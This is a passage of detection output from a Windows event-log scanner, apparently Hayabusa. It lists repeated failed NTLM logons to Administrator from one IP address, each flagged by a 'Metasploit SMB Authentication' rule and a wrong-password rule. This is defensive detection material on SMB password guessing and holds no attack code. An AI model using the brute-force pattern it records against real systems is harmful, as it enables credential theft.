Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fwwp5CD20dR8QrIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tL6GzVzndZL7DZMN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.329 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.371 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zK5IpESvDA2DexwL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.371 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.404 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qvTyabCyGaxscOrN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.404 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FW8VghddPwP5C6dO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xGZuyZ0LErZ3Sgty : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.476 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.515 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bT1xrvfndr5R8Vg3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.515 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H6RFTZVJE9remzqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.599 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pzjwzORvTwuBPLEs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.599 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.644 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UMjSFfZ88BV2sT1F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.644 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.681 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SnpCLI2EJZRhr3vz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.681 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ztEU2m9SwbqgSdVY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MHO1X0zwmoWotcM4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ck429g2Cs4siVVq4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.835 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9txH9zA3oY885iTi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.835 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: alIIEzE2rTrNtOtr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.876 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ww4BXLwhaNxOttgo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.921 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GPdz2pjDocMWqctT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.977 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QOm1i2a20IDNmIu4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ukSrSu516dHlHQ94 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: grdERCipFl1FMB1o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmpuUsIRbp57KCRD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.129 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VWLuqrOQSQuqcwUr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eEASOf84AX8ow4vf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IcgNTGlESh6FytEY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.254 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.302 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OeVo7D3oBsdUMHfj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.302 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mLqSB2yGMksaBgUS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y7qRzzpL2YhfIGSD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvE5tMw3MjDhA0Fe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.488 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aXuNgOkIzvKIuJki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.488 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q8vPHEXrxVpUyKZq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.581 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vk7sh6VM7AZQv2in : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.581 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.627 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jurt5hAg90y1VWdT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.627 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MlrPbTbJRTxFakiv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RQ5cWmYL8weCCRT0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.700 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k0v2Emgn7BD1STZl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.742 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MJppWxAiNJ4D0s2U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.795 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zHVcJEec3y6v9gIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.853 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 68RKE5dS8X5Px2gR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:40.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.010 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Np8mTqhr7QasXk1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.010 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MhpDNDIPVyRlfej8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.065 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.118 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qZtmxGeLj25VSUcm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.118 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SPN8w8WghBYzChZc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.166 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.205 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 36hmbCuKxF9Dt4vR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.205 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TALpRirdvB9a8y6M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wvEvwFeXGOgycZvA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ppxeOgZNua2Ieuc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 